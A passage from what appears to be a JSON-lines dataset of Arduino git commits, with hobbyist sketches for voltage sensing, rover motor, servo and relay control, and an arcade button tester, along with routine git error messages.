Serial.begin(9600);\n}\n\nvoid loop()\n{\n \/\/ take a number of analog samples and add them up\n for (cntSamples = 0; cntSamples <= numSamples; cntSamples++) {\n sumSamples += analogRead(measurePin);\n delay(10);\n }\n \/\/ calculate the voltage\n \/\/ use 5.0 for a 5.0V ADC reference voltage\n \/\/ 5.015V is the calibrated reference voltage\n voltage = ((float)sumSamples \/ (float)numSamples * ref5V) \/ 1024.0;\n \/\/ send voltage for display on Serial Monitor\n \/\/ voltage multiplied by 11 when using voltage divider that\n \/\/ divides by 11. 11.132 is the calibrated voltage divide\n \/\/ value\n Serial.print(voltage * 11.000);\n Serial.println (\" V\");\n cntSamples = 0;\n sumSamples = 0;\n}\n\n\n\/*\n DisplayMoreThan5V sketch\n prints the voltage on analog pin to the serial port\n Do not connect more than 5 volts directly to an Arduino pin.\n+\/\nconst float referenceVolts = 5; \/\/ the default reference on a 5-volt board\n\nconst float R1 = 1000; \/\/ value for a maximum voltage of 10 volts\nconst float R2 = 1000;\n\/\/ determine by voltage divider resistors, see text\nconst float resistorFactor = 1023.0 * (R2\/(R1 + R2));\nconst int batteryPin = A0; \/\/ +V from battery is connected to analog pin 0\n\nconst int led[6] = {3, 5, 6, 9, 10, 11};\nconst int sensPin = A0;\nconst int maxoutput = 191;\nconst float factor = (6.0*maxoutput)\/1024.0;\n\nvoid setup() {\n Serial.begin(9600);\n for (int i = 0; i<=5; i++) {\n pinMode(led[i],OUTPUT);\n digitalWrite(led[i],HIGH);\n }\n delay(500);\n ledsoff();\n}\n\nvoid loop() {\n\n int val = analogRead(sensPin); \/\/ read the value from the sensor\n Serial.print(val);\n Serial.print(\" = \");\n float volts = (val \/ resistorFactor) * referenceVolts ; \/\/ calculate the ratio\n Serial.println(volts); \/\/ print the value in volts\n ledon(val * factor);\n \/* pulse\n for (int i = 0; i <= 6*maxoutput; i++) {\n ledon(i);\n \/\/delay(0.5);\n }\n for (int i = 6*maxoutput; i >= 0; i--) {\n ledon(i);\n delay(1);\n }\n +\/\n delay(1000);\n}\n\nvoid ledsoff() {\n for (int i = 0; i<=5; i++) {\n digitalWrite(led[i],LOW);\n }\n}\n\nvoid ledon(int v) {\n int w;\n \/\/Serial.print(v);\n \/\/Serial.print(\": \");\n if (v > 6* maxoutput) { v=6*maxoutput; }\n\n for (int out=5; out >= 0; out = out -1) {\n if (v > out * maxoutput) {\n w = v - out * maxoutput;\n \/\/ Serial.print(w);\n \/\/ Serial.print(\" \");\n analogWrite(led[out], w);\n v = v- w;\n }\n else { analogWrite(led[out],0); }\n }\n \/\/Serial.println(\".\");\n}\n\n*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Vsens\/src\/sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"45ef5403bcd1f9df0cbce9ddb5d4ebbe8fa833db","subject":"Training Mix With Pin Change Interrupts, Servo Control, and Relay Control","message":"Training Mix With Pin Change Interrupts, Servo Control, and Relay Control\n","repos":"awwdang\/Titan-Rover,wzschoche\/Titan-Rover,wzschoche\/Titan-Rover,wzschoche\/Titan-Rover,awwdang\/Titan-Rover","old_file":"TrainingMix\/TrainingMix\/TrainingMix.ino","new_file":"TrainingMix\/TrainingMix\/TrainingMix.ino","new_contents":"\/*\n * Include libraries at the top of the source document. These signal the compiler\n * to look in the the specified libraries for keywords and function calls that we\n * will be using.\n * \n * Servo.h: allows us to easily write a PWM signal directly to servos.\n * \n * PinChangeInt.h: extends the Arduino unit's capabilities by \"listening\" for\n * changes in the incoming signals. The attachInterrupt() function\n * in the base library will listen for an entire duty cycle. For\n * our purposes this is a waste of resources and will not allow us\n * to realize control of the 12 actuators necessary for the full\n * project. More on how to use it later in the file.\n *\/\n\n#include <Servo.h>\n#include <PinChangeInt.h>\n\n\/*\n * Pre-define the pins used on the Arduino board. All pins defined are digital pins.\n * \n * REL_IN_PIN: Input pin receiveing the incoming PWM signal from the X8R\n * receiver(the remote control) that controls the linear actuator.\n * \n * RELAY1_OUT_PIN: Pin outputting to relay 1.\n * RELAY2_OUT_PIN: Pin outputting to relay 2.\n * \n * REL_FLAG: Bit flag to let the Arduino system know there is a change in the\n * state of the incoming signal (Changing from HIGH to LOW,\n * or vice versa).\n * \n * **Note: BIT FLAGS are represented in base 10 in this source code\n * (1, 2, 4, up to 256). In base 2 we can treat a 8-bit unsigned integer as\n * a quick and dirty 8-element boolean array. In this version of the code.\n * \n * EX: 1 = 00000001\n * 2 = 00000010\n * 1 + 2 = 00000011\n * \n * We may use a 16-bit number for double the flags, however we only two\n * flags for this project.\n *\/\n\n#define REL_IN_PIN 10\n#define RELAY1_OUT_PIN 7\n#define RELAY2_OUT_PIN 8\n#define REL_FLAG 2\n\n\/*\n * END_IN_PIN: Input pin receiveing the incoming PWM signal from X8R receiver\n * (the remote control) that controls the end effector.\n * \n * END_OUT_PIN: Pin outputting to end effector.\n * \n * END_FLAG: Bit flag to let the Arduino system know there is a change in the\n * state of the incoming signal (Changing from HIGH to LOW,\n * or vice versa).\n *\/\n\n#define END_IN_PIN 11\n#define END_OUT_PIN 2\n#define END_FLAG 1\n\n\/*\n * bUpdateFlagsShared is the variable that holds the bit flags.\n * \n * **NOTE: \"volatile\" keyword tells the compiler to allow this variable to be\n * modified outside of the MAIN control loop. Normally, the Arduino will\n * \"lock-out\" other processes. We need these variables to be open so we can\n * allow sensors to intrrupt the main loop and modify them.\n *\/\n\nvolatile uint8_t bUpdateFlagsShared;\n\n\/*\n * volatile uint16_t usEndInShared: 16-bit, unsigned, integer that stores how long\n * the incloming PWM signalfor the end effector is\n * HIGH. A 16-bit variable is called a 'short'.\n * \n * volatile uint16_t usRelInShared: 16-bit unsigned integer that stores how long the\n * incloming PWM signal for the relay is high.\n * \n * **NOTE: On the naming convention,\n * [if unsigned][bits][what it does][if shared (read volatile)]\n * So, usEndInShared means [unsigned][short][end effector input][shared]\n * \n * **NOTE: The duty cycle of these servos is 20,000 microseconds. Therefore, an\n * 8-bit, unsigned variable will not work because the maximum value it can\n * hold is 256. The next size variable available is 16-bits which can store\n * an unsigned integer between 0 and 65,536.\n *\/\n\nvolatile uint16_t usEndInShared;\nvolatile uint16_t usRelInShared;\n\n\/*\n * uint32_t ulEndStart: [unsigned][long][end effector signal start-time]\n * When the Arduino \"senses\" a change in the end effector input\n * pin from LOW to HIGH, the system time in microseconds, is\n * saveded to the 32-bit integer variable ulEndStart. More on\n * this later in the code.\n * \n * uint32_t ulRelStart: [unsigned][long][relay signal start-time]\n * Just like the end effector, this is the variable that saves\n * the start-time for the realy controlling the linear actuator\n * \n * Later,\n * when the signal changes back from HIGH to LOW, the ulEndStart\n * is subtracted from the current time. Like a timer, the\n * difference gives us the signal time length to tell the end\n * effector servo. I \n *\/\n\nuint32_t ulEndStart;\nuint32_t ulRelStart;\n\n\/*\n * Servo servoEnd: [class][name of instance]\n * Here we are telling the compiler that there will be a instance of\n * the Servo class. Creating servoEnd and attaching it to the output\n * pin for the end effector will allow us to control the servo in it.\n * The methods in the Servo class will handle all of the background\n * magic to make it all happen.\n *\/\n\nServo servoEnd;\n\nvoid setup()\n{\n \/*\n * Start the default serial port at standard baudrate 9600.\n * This opens communication with the serial monitor on\n * the computer connected to the arduino unit through the\n * USB port.\n *\/\n Serial.begin(9600);\n\n \/*\n * Before we can begin communication to the end effector, we must \"attach\" the\n * output pin to the instance of the Servo class we created earlier. This will\n * allow us to manipulate the servo.\n *\/\n \n servoEnd.attach(END_OUT_PIN);\n\n \/*\n * Because the linear actuator is controlled by two relays, we cannot use the Servo\n * class to manage how we control it. Instead, we must control the relays directly.\n * Don't worry, it's very simple. Much like the Servo class, first we much declare\n * which pins are the outputs for the two relays.\n *\/\n \n pinMode(RELAY1_OUT_PIN, OUTPUT);\n pinMode(RELAY2_OUT_PIN, OUTPUT);\n\n \/*\n * This code tells the compiler that we will be listeing to REL_IN_PIN and\n * END_IN_PIN for changes in the signal (remember, LOW to HIGH). When there is a\n * change in signal, execute the function calcRel or calcEnd, respective to the\n * pin.\n *\/\n \n PCintPort::attachInterrupt(REL_IN_PIN, calcRel, CHANGE);\n PCintPort::attachInterrupt(END_IN_PIN, calcEnd, CHANGE);\n}\n\nvoid loop() {\n\n \/*\n * static uint16_t usEndIn: [unsigned][short: 16-bit][end effector input]\n * static uint16_t usRelIn: [unsigned][short: 16-bit][end relay input]\n * Local variables get created and destroyed every time\n * the function they reside in is called, so the value is\n * not retained. Making the variable 'static' retains the\n * variable through subsequent iterations of the main\n * loop, so the value inside is intact.\n * \n * **NOTE: We will be using these variables to hold copies of the raw input values\n * from the receiver. We have to hold copies of the input values in\n * usEndInShared, usRelInShared, and bUpdateFlagsShared because we cannot\n * guarantee we will have read access to these variables when it comes\n * time to use them; also, we cannot guarantee the values won't be updated\n * mid-loop.\n *\/\n\n static uint16_t usEndIn;\n static uint16_t usRelIn;\n \n static uint8_t bUpdateFlags;\n\n \/*\n * This is an if statement. It means \n * if (such and such is true) {\n * do is... \n * and this...\n * }\n * \n * In the following statement there is some programming trickery.\n * if(bUpdateFlagsShared), means: if bUpdateFlagsShared has any value other than\n * 0, do the following code. In Arduino, indeed in all of the languages I've\n * encountered, false is represented as 0. So the following code will be executed\n * provided there are bit-flags indicating there are values to process.\n *\/\n \n if(bUpdateFlagsShared) {\n\n \/*\n * Remember those copies I mentioned just before? This is where we do it.\n * \"noInterrupts()\" tells the system that we won't be taking any new values while\n * we make our copies.\n *\/\n noInterrupts();\n\n \/\/make a copy of the bit-flags\n bUpdateFlags = bUpdateFlagsShared;\n\n \/*\n * Here we are checking if there is flag for the relay input.\n * \"bUpdateFlags & REL_FLAG\", is a Bitwise AND operation. The condition checks if\n * there is bit-flag for the relay operation.\n * \n * To visualize:\n * \n * If there was only one flag indicating we had a new input signal for the relay\n * \n * 0 0 1 0 bUpdateFlags\n * 0 0 1 0 REL_FLAG\n * ----------\n * 0 0 1 0 (bUpdateFlags & REL_FLAG) = returned result\n * \n * (4 in binary which is not 0, so the result is TRUE)\n * \n * We now will go and get a copy of the input value for the relay.\n * \n * What if bUpdateFlags was 0?\n * \n * 0 0 0 0 bUpdateFlags\n * 0 0 1 0 REL_FLAG\n * ----------\n * 0 0 0 0 (bUpdateFlags & REL_FLAG) = returned result\n * \n * (0 in binary, so the result is FALSE)\n * \n * What if bUpdateFlags only had a bit flag for the end effector?\n * \n * 0 0 0 1 bUpdateFlags\n * 0 0 1 0 REL_FLAG\n * ----------\n * 0 0 0 0 (bUpdateFlags & REL_FLAG) = returned result\n * \n * (0 in binary, so the result is FALSE)\n *\/\n if(bUpdateFlags & REL_FLAG)\n {\n usRelIn = usRelInShared;\n }\n \n if(bUpdateFlags & END_FLAG)\n {\n usEndIn = usEndInShared;\n }\n\n \/\/We've processed all of the necessary flags. Reset bUpdateFlagsShared to 0 so it\n \/\/can receive new flags from the interrupts.\n bUpdateFlagsShared = 0;\n\n \/\/resume allowing interrupts to write data.\n interrupts();\n }\n\n \/*\n * Now that we have shiny new values to play with, lets use them to control our\n * end effector and relay.\n * \n * First we check for a flag to process the respective data.\n *\/\n \n if(bUpdateFlags & REL_FLAG)\n {\n \/\/ This line is commented out because it was used for debug purposes\n \/\/ Serial.println(usRelIn);\n\n \/*\n * usRelIn has holds the length of time the input signal was HIGH. If the input\n * signal is HIGH for less than 1100 microseconds, we retract the linear actuator\n * connected to the relay. if the signal is greater than 1900 microseconds, we\n * extend the linear actuator. If the value is anwhere in between, we simply turn\n * both relays off and the linear actuator will not move.\n * \n * digitalWrite(RELAY2_OUT_PIN,1); \/\/ Turns Relay Off\n * digitalWrite(RELAY1_OUT_PIN,0); \/\/ Turns ON Relay 1\n * \n * The linear actuator exends and retracts depending on the polarity of the\n * eletricity flowing to it. To \"flip\" the polarity, we connected 2 relays in an\n * H-Bridge configuration. Turning relay 1 on and relay 2 off makes the\n * the electricity flow in one direction. if we turn relay 1 off and relay 2 on,\n * the polarity reverses. If we turn both relays off, the circuit is broken and\n * the linear actuator does nothing.\n *\/\n \n if(usRelIn < 1100) {\n \/\/sometimes the signal is missed between toggles\n \/\/confirm relay 2 is off. otherwise no movement, relays cancel out\n digitalWrite(RELAY2_OUT_PIN,1); \/\/ Turns Relay Off\n digitalWrite(RELAY1_OUT_PIN,0); \/\/ Turns ON Relay 1\n }\n else if(usRelIn > 1900) {\n \/\/cofnirm relay 1 is off\n digitalWrite(RELAY1_OUT_PIN,1); \/\/ Turns Relay Off\n digitalWrite(RELAY2_OUT_PIN,0); \/\/ Turns ON Relay 2\n }\n else {\n digitalWrite(RELAY1_OUT_PIN,1); \/\/ Turns Relay 1 Off\n digitalWrite(RELAY2_OUT_PIN,1); \/\/ Turns Relay 2 Off\n }\n }\n\n \/\/check for an end effector flag\n if(bUpdateFlags & END_FLAG)\n {\n \/*\n * Here we are checking fit the old value for servoEnd is not equal to the new\n * If there is no change, there is no reason to update the value we are sending\n * to the end effector servo.\n *\/\n \n if(servoEnd.readMicroseconds() != usEndIn)\n {\n \/*\n * The servo in the end effector can only handle signal values that are natural\n * numbers between 1000 and and 2000. being an unsigned integer automatically\n * handles the natural number part. But what about the upper and lower bounds?\n * Sometimes the receiver will get pulses that are less than 1000 and greater\n * than 2000 (on testing, I received signals ranging from 994 and 2015\n * microseconds). Sending a signal that exceeds the bounds of the servo could\n * damage it. The following conditions automatically set any incoming signal\n * that is excessive or deficient to its respective bound. All other values in\n * between are untouched.\n *\/\n if(usEndIn < 1000)\n usEndIn = 1000;\n else if(usEndIn > 2000)\n usEndIn = 2000;\n\n \/*\n * The end effector is tough but it's not tough enough to withstand constant\n * pressure from the servo within. We can't limit the servo with conditions\n * like we did before because the dial would only work within conditions\n * So, we have to limit servo yet again witout losing the range of output of\n * the dial controlling the opening and closing of the fingers. If the fingers\n * close too tight, we risk damaging the lower plate, washer, and spacers.\n * If the servo opens too wide, we risk cracking the casing and damaging the\n * lower plate.\n * \n * The solution is to map the values between valid inputs, 1000 and 2000, to a\n * restricted, safe range. After testing, I found the acceptable ranges to be\n * 1220 to 1480.\n *\/\n \n usEndIn = map(usEndIn, 1000, 2000, 1220, 1480);\n \n \/\/print the final output for debugging purposes.\n \/\/Serial.println(usEndIn);\n\n \/\/And finally, we update the servo with the new signal value, and it will\n \/\/rotate to the new position.\n servoEnd.writeMicroseconds(usEndIn);\n }\n }\n\n \/\/Now that we've processed the incoming signals, zero out the bit-flag variable\n \/\/so it's ready for the next loop.\n bUpdateFlags = 0;\n}\n\n\/*\n * These are the functions called when a new inturrupt arrives. Remember these?\n * \n * PCintPort::attachInterrupt(REL_IN_PIN, calcRel, CHANGE);\n * PCintPort::attachInterrupt(END_IN_PIN, calcEnd, CHANGE);\n *\/\n \nvoid calcRel()\n{\n\n \/\/if the input signal is HIGH,\n if(digitalRead(REL_IN_PIN) == HIGH)\n { \n \/\/get the current system time in microseconds and save it\n ulRelStart = micros();\n }\n else\n {\n \/*\n * Else the signal must be LOW and we can calculate the signal length\n * Get the current system time, subtract the start time we saved earlier,\n * and save the result for processing.\n *\/\n usRelInShared = (uint16_t)(micros() - ulRelStart);\n\n \/\/Remove the relay bit flag from the bit-flag variable.\n bUpdateFlagsShared |= REL_FLAG;\n }\n}\n\n\/*\n * calcEnd does the same thing as calcRel, just with different variables.\n * See the previous function for details.\n *\/\nvoid calcEnd()\n{\n if(digitalRead(END_IN_PIN) == HIGH)\n { \n ulEndStart = micros();\n }\n else\n {\n usEndInShared = (uint16_t)(micros() - ulEndStart);\n bUpdateFlagsShared |= END_FLAG;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TrainingMix\/TrainingMix\/TrainingMix.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2aab107a0b7b0cd9e95da1eed4fcea4f9a6321b9","subject":"Update pt_remote controlled car2.ino","message":"Update pt_remote controlled car2.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car2.ino","new_file":"pt_remote controlled car\/pt_remote controlled car2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4f62c3c585c709577d31cf027da664f1681c700b","subject":"Update wemos_remote.ino","message":"Update wemos_remote.ino","repos":"vaskovasilev\/webcontrol,vaskovasilev\/webcontrol,vaskovasilev\/webcontrol,vaskovasilev\/webcontrol,vaskovasilev\/webcontrol","old_file":"var\/webcontrol\/samples\/wemos_remote.ino","new_file":"var\/webcontrol\/samples\/wemos_remote.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/vaskovasilev\/webcontrol.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"81d764e42f12abeaf361827cde308980ecf7d885","subject":"Added runt rover controller code; not tested or debugged.","message":"Added runt rover controller code; not tested or debugged.\n","repos":"EEJeffMan\/Runt_Rover","old_file":"Runt_Rover\/Runt_Rover.ino","new_file":"Runt_Rover\/Runt_Rover.ino","new_contents":"\/*\n * Title: Runt_Rover\n * \n * Author: EEJeffMan\n * \n * Description: Receives joystick direction data from xbee, and drives runt rover motors.\n * \n * Hardware:\n * Controller: Arduino pro mini 3.3V\n * Receiver: Xbee series 1 w\/xbee explorer regulated\n * Motor driver: DROK DC-DC w\/dual L298N Motor Driver Module\n * \n * Motor Driver Module output connections to motors:\n * OUT1 = back left blk\n * OUT2 = back left red\n * OUT3 = front left blk\n * OUT4 = front left red\n * OUT5 = front right blk\n * OUT6 = front right red\n * OUT7 = rear right blk\n * OUT8 = rear right red\n * \n * Arduino I\/O:\n * D2-9: Digital outputs to IN1-8, Motor Driver Module\n * D10: SW serial RX from xbee explorer, 9600 baud 8N1\n * \n * Flow:\n * Read xbee data\n * Determine desired motor drive\n * Update drive to motors\n * \n * Status:\n * \n *\/\n\n#include <SoftwareSerial.h>\n\n#define XBEE_COMMAND_STOP 0\n#define XBEE_COMMAND_FORWARD 8\n#define XBEE_COMMAND_FORWARD_LEFT 9\n#define XBEE_COMMAND_FORWARD_RIGHT 10\n#define XBEE_COMMAND_REVERSE 4\n#define XBEE_COMMAND_REVERSE_LEFT 5\n#define XBEE_COMMAND_REVERSE_RIGHT 6\n#define XBEE_COMMAND_TURN_LEFT 1\n#define XBEE_COMMAND_TURN_RIGHT 2\n\n#define FULL_SPEED 50\n#define TURN_SPEED 25\n\n#define LEFT_MOTORS 0\n#define RIGHT_MOTORS 1\n\n#define MOTOR_OFF 11\n#define MOTOR_FORWARD_FULL 22\n#define MOTOR_FORWARD_TURN 33\n#define MOTOR_REVERSE_FULL 44\n#define MOTOR_REVERSE_TURN 55\n\nSoftwareSerial xbee(10,A4); \/\/RX, TX\n\n\/*\n * array 0 = left, array 1 = right\n * \n * PWM can only be on pins 3, 5, 6, 9, and 10, use all but 10 for PWM:\n * 2 = front left a\n * 3 = front left en\n * 4 = front right a\n * 5 = front right en\n * 6 = rear right en\n * 7 = rear right a \n * 8 = rear left a\n * 9 = rear left en\n * A0 = front left b\n * A1 = front right b\n * A2 = rear right b\n * A3 = rear left b\n *\/\nunsigned int front_motor_a[2] = {2, 4};\nunsigned int front_motor_b[2] = {A0, A1};\nunsigned int rear_motor_a[2] = {8, 7};\nunsigned int rear_motor_b[2] = {A3, A2};\nunsigned int front_motor_en[2] = {3, 5};\nunsigned int rear_motor_en[2] = {9, 6};\n\nunsigned int motor_state[2];\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n Serial.begin(9600);\n\n \/\/ xbee data input\n xbee.begin(9600);\n\n \/\/ motor drive outputs\n pinMode(front_motor_a[LEFT_MOTORS], OUTPUT);\n pinMode(front_motor_a[RIGHT_MOTORS], OUTPUT);\n pinMode(front_motor_b[LEFT_MOTORS], OUTPUT);\n pinMode(front_motor_b[RIGHT_MOTORS], OUTPUT);\n pinMode(rear_motor_a[LEFT_MOTORS], OUTPUT);\n pinMode(rear_motor_a[RIGHT_MOTORS], OUTPUT);\n pinMode(rear_motor_b[LEFT_MOTORS], OUTPUT);\n pinMode(rear_motor_b[RIGHT_MOTORS], OUTPUT);\n\n Serial.println(\"Begin.\");\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n unsigned int i;\n unsigned int xbee_command;\n\n delay(500); \/\/ TODO: Replace this with something more deterministic, perhaps based on a timer.\n\n \/\/ read xbee data and update motor states\n xbee_command = xbee.read();\n Serial.print(\"Command = \");\n Serial.println(xbee_command, DEC);\n switch(xbee_command)\n {\n case XBEE_COMMAND_STOP:\n \/\/ stop position: all off\n motor_state[LEFT_MOTORS] = MOTOR_OFF;\n motor_state[RIGHT_MOTORS] = MOTOR_OFF;\n break;\n\n case XBEE_COMMAND_FORWARD:\n \/\/ forward position: all forward full speed\n motor_state[LEFT_MOTORS] = MOTOR_FORWARD_FULL;\n motor_state[RIGHT_MOTORS] = MOTOR_FORWARD_FULL;\n break;\n\n case XBEE_COMMAND_FORWARD_LEFT:\n \/\/ forward left: left motors forward turn speed, right motors forward full speed\n motor_state[LEFT_MOTORS] = MOTOR_FORWARD_TURN;\n motor_state[RIGHT_MOTORS] = MOTOR_FORWARD_FULL;\n break;\n \n case XBEE_COMMAND_FORWARD_RIGHT:\n \/\/ forward right: left motors forward full speed, right motors forward turn speed\n motor_state[LEFT_MOTORS] = MOTOR_FORWARD_FULL;\n motor_state[RIGHT_MOTORS] = MOTOR_FORWARD_TURN;\n break;\n \n case XBEE_COMMAND_REVERSE:\n \/\/ reverse position: all reverse full speed\n motor_state[LEFT_MOTORS] = MOTOR_REVERSE_FULL;\n motor_state[RIGHT_MOTORS] = MOTOR_REVERSE_FULL;\n break;\n \n case XBEE_COMMAND_REVERSE_LEFT:\n \/\/ reverse left: left motors reverse turn speed, right motors reverse full speed\n motor_state[LEFT_MOTORS] = MOTOR_REVERSE_TURN;\n motor_state[RIGHT_MOTORS] = MOTOR_REVERSE_FULL;\n break;\n \n case XBEE_COMMAND_REVERSE_RIGHT:\n \/\/ reverse right: left motors reverse full speed, right motors reverse turn speed\n motor_state[LEFT_MOTORS] = MOTOR_REVERSE_FULL;\n motor_state[RIGHT_MOTORS] = MOTOR_REVERSE_TURN;\n break;\n \n case XBEE_COMMAND_TURN_LEFT:\n \/\/ turn left position: left motors reverse full speed, right motors forward full speed\n motor_state[LEFT_MOTORS] = MOTOR_REVERSE_FULL;\n motor_state[RIGHT_MOTORS] = MOTOR_FORWARD_FULL;\n break;\n \n case XBEE_COMMAND_TURN_RIGHT:\n \/\/ turn right position: left motors forward full speed, right motors reverse full speed\n motor_state[LEFT_MOTORS] = MOTOR_FORWARD_FULL;\n motor_state[RIGHT_MOTORS] = MOTOR_REVERSE_FULL;\n break;\n\n default:\n \/\/ default is stop: all off\n motor_state[LEFT_MOTORS] = MOTOR_OFF;\n motor_state[RIGHT_MOTORS] = MOTOR_OFF;\n break;\n }\n\n \/\/ read motor states and drive motors\n for(i = 0; i < 2; i++)\n {\n switch(motor_state[i])\n {\n \/\/ drive motors: forward: a = high, b = low; reverse: a = low, b = high; off: both low\n case MOTOR_OFF:\n digitalWrite(front_motor_a[i], LOW);\n digitalWrite(front_motor_b[i], LOW);\n digitalWrite(rear_motor_a[i], LOW);\n digitalWrite(rear_motor_b[i], LOW);\n analogWrite(front_motor_en[i], 0);\n analogWrite(rear_motor_en[i], 0);\n break;\n\n case MOTOR_FORWARD_FULL:\n digitalWrite(front_motor_a[i], HIGH);\n digitalWrite(front_motor_b[i], LOW);\n digitalWrite(rear_motor_a[i], HIGH);\n digitalWrite(rear_motor_b[i], LOW);\n analogWrite(front_motor_en[i], FULL_SPEED);\n analogWrite(rear_motor_en[i], FULL_SPEED);\n break;\n\n case MOTOR_FORWARD_TURN:\n digitalWrite(front_motor_a[i], HIGH);\n digitalWrite(front_motor_b[i], LOW);\n digitalWrite(rear_motor_a[i], HIGH);\n digitalWrite(rear_motor_b[i], LOW);\n analogWrite(front_motor_en[i], TURN_SPEED);\n analogWrite(rear_motor_en[i], TURN_SPEED);\n break;\n\n case MOTOR_REVERSE_FULL:\n digitalWrite(front_motor_a[i], LOW);\n digitalWrite(front_motor_b[i], HIGH);\n digitalWrite(rear_motor_a[i], LOW);\n digitalWrite(rear_motor_b[i], HIGH);\n analogWrite(front_motor_en[i], FULL_SPEED);\n analogWrite(rear_motor_en[i], FULL_SPEED);\n break;\n\n case MOTOR_REVERSE_TURN:\n digitalWrite(front_motor_a[i], LOW);\n digitalWrite(front_motor_b[i], HIGH);\n digitalWrite(rear_motor_a[i], LOW);\n digitalWrite(rear_motor_b[i], HIGH);\n analogWrite(front_motor_en[i], TURN_SPEED);\n analogWrite(rear_motor_en[i], TURN_SPEED);\n break;\n\n default:\n digitalWrite(front_motor_a[i], LOW);\n digitalWrite(front_motor_b[i], LOW);\n digitalWrite(rear_motor_a[i], LOW);\n digitalWrite(rear_motor_b[i], LOW);\n analogWrite(front_motor_en[i], 0);\n analogWrite(rear_motor_en[i], 0);\n break;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Runt_Rover\/Runt_Rover.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f2b3c325d2161e6b5f60fca44e675b05a445caa5","subject":"Add simple Arduino test program","message":"Add simple Arduino test program\n","repos":"HorstBaerbel\/MAMEduino,HorstBaerbel\/MAMEduino,HorstBaerbel\/MAMEduino","old_file":"SimpleTest\/SimpleTest.ino","new_file":"SimpleTest\/SimpleTest.ino","new_contents":"void setup() {\n \/\/ initialize serial communication at 9600 bits per second:\n Serial.begin(9600);\n Keyboard.begin();\n \/\/setup buttons\n pinMode(2, INPUT_PULLUP); \/\/Button 1\n pinMode(3, INPUT_PULLUP); \/\/Button 2\n pinMode(4, INPUT_PULLUP); \/\/Button 3\n pinMode(5, INPUT_PULLUP); \/\/Button 4\n \/\/setup mainboard connection\n pinMode(6, OUTPUT); \/\/Reset pin\n digitalWrite(6, LOW); \/\/active high pulse\n pinMode(7, OUTPUT); \/\/Power on pin\n digitalWrite(7, LOW); \/\/active high pulse\n \/\/setup coin detector\n pinMode(8, INPUT_PULLUP); \/\/Coin 1\n pinMode(9, INPUT_PULLUP); \/\/Coin 2\n pinMode(10, INPUT_PULLUP); \/\/Coin 3\n pinMode(11, INPUT_PULLUP); \/\/Reject button\n pinMode(12, OUTPUT); \/\/Accept all coins\n digitalWrite(12, LOW);\n}\n\nvoid loop() {\n \/\/ read the input pin:\n int buttonState2 = digitalRead(2);\n int buttonState3 = digitalRead(3);\n int buttonState4 = digitalRead(4);\n int buttonState5 = digitalRead(5);\n int buttonState8 = digitalRead(8);\n int buttonState9 = digitalRead(9);\n int buttonState10 = digitalRead(10);\n int buttonState11 = digitalRead(11);\n \/\/ print out the state of the buttons:\n Serial.print(buttonState2);\n Serial.print(buttonState3);\n Serial.print(buttonState4);\n Serial.print(buttonState5);\n Serial.print(buttonState8);\n Serial.print(buttonState9);\n Serial.print(buttonState10);\n Serial.print(buttonState11);\n Serial.print('\\n');\n delay(25); \/\/ delay in between reads for stability\n if(buttonState2 == LOW) {\n Keyboard.write('A');\n digitalWrite(6, HIGH); \/\/push reset\n }\n else {\n digitalWrite(6, LOW);\n }\n if(buttonState3 == LOW) {\n Keyboard.write('B');\n digitalWrite(7, HIGH); \/\/push power\n }\n else {\n digitalWrite(7, LOW);\n }\n if(buttonState4 == LOW) {\n Keyboard.write('C');\n }\n if(buttonState5 == LOW) {\n Keyboard.write('D');\n }\n if(buttonState8 == LOW) {\n Keyboard.write('1');\n }\n if(buttonState9 == LOW) {\n Keyboard.write('2');\n }\n if(buttonState10 == LOW) {\n Keyboard.write('3');\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SimpleTest\/SimpleTest.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"8d59639d81356697d4142a40a8a65b0c668600f9","subject":"Added code to control one BLDC to the motion sensor board test code.","message":"Added code to control one BLDC to the motion sensor board test code.\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motion.ino","new_file":"motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"22a703286af217f2b704f8d3b91a68575d91b159","subject":"library test","message":"library test\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/self-driving-lib.ino","new_file":"testing\/arduino\/self-driving-lib.ino","new_contents":"#include \"Arduino.h\"\n#include \"NewPing.h\"\n\n\/\/ defines pins numbers\nconst uint8_t trigPin = 9;\nconst uint8_t echoPin = 10;\nconst uint8_t maxSenstorDistance = 200; \/\/ cm\n\nconst uint8_t motorPin1_1 = 4;\nconst uint8_t motorPin1_2 = 5;\nconst 